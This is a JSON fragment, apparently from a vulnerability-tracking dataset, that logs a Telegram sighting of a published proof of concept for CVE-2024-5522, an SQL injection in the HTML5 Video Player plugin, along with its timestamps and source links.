false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2024-05-31T06:58:31Z", "date_only": false, "value": "2024-05-31T06:58:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7474", "record": "CVE-2024-5522", "field": "creation_timestamp", "uuid": "00b6c928-e5fb-4682-8d40-d78db074d9b4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-5522 HTML5 Video Player <= 2.5.26 - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/truonghuuphuc/CVE-2024-5522-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7474", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-08T16:05:50.527Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}